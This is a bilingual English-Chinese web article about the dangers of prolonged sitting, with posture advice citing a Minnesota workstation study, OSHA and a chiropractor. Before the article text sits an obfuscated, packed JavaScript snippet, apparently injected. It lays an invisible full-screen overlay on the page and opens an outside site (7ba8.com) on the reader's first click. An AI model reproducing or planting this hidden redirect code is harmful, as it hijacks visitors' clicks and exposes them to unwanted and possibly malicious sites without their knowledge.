<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>We tell ourselves time and time again that we've got to stop sitting so much. It's bad for our health for a whole slew of reasons, but there's just no way we can spend eight hours a day on the solitary TreadDesk in the office。
我们不断地告诉自己,不应该常坐不起,诸多理由证明一直非常不利于健康,但是除了一天八个小时孤单地坐在办公桌前,没有别的办法。
So what can you do to fight obesity, diabetes, heart disease and the other risks of sitting too much? At the most simple level, stand more. A team of researchers from the University of Minnesota and the Mayo Clinic are set to study 30 employees of Caldrea, an eco-friendly cleaning supply company in Minneapolis, whose desks have been replaced with workstations that make it possible to sit or stand while working, according to the Star Tribune. In the meantime, click through the slideshow below for a few more ways to stay healthy and active at your desk。
为了与久坐而形成的肥胖、糖尿病、心脏病和其他的风险做斗争,我们能做的是什么?最直接的方法就是:多站立一些。来自明尼苏 达大学和梅约诊所的一组研究员针对来自Caldrea的30位职员进行了一项调查,Caldrea是明尼阿波里斯市一家环保清洗剂生产公司,根据明星论坛 报的报道,此公司里的桌子全都换成了工作站,这些工作站允许职员工作的时候站着。同时,下面是更多保持健康和保持活力的方法:
Perfect Your Posture
更正坐姿
The set-up of your workstation can cause everything from headaches to tendinitis, according to the U.S. Department of Labor's Occupational Safety & Health Administration website。
美国劳工部职业安全和健康管理机构官方网站表示:常坐不起会引起从头疼到腱炎的各种疾病。
Make sure your keyboard and mouse are at a height and distance from your body that allows you to keep your wrists straight and your elbows tight by your side. You want to be able to keep your neck straight as well, so make sure your screen is around eye-level. Chiropractor Jason Queiros told Forbes you should adjust your office chair so you're in what he called a "90-90-90 position -- feet flat on the floor and your knees and hips bent at 90-degree angles."
保证键盘和鼠标距离身体的距离和高度适宜,保证这个距离和高度允许你的手腕伸直,两边的肘部靠近你的身体,同时要伸直脖 子,所以需要你的电脑屏幕与眼睛在同一水平线上。脊椎按摩师Jason Queiros在接受《福布斯》采访时表示:白领族需要调整椅子,维持90-90-90度位置,也就是脚平放在地板上与膝盖成90度角,膝盖和臀部成90度角。 |
|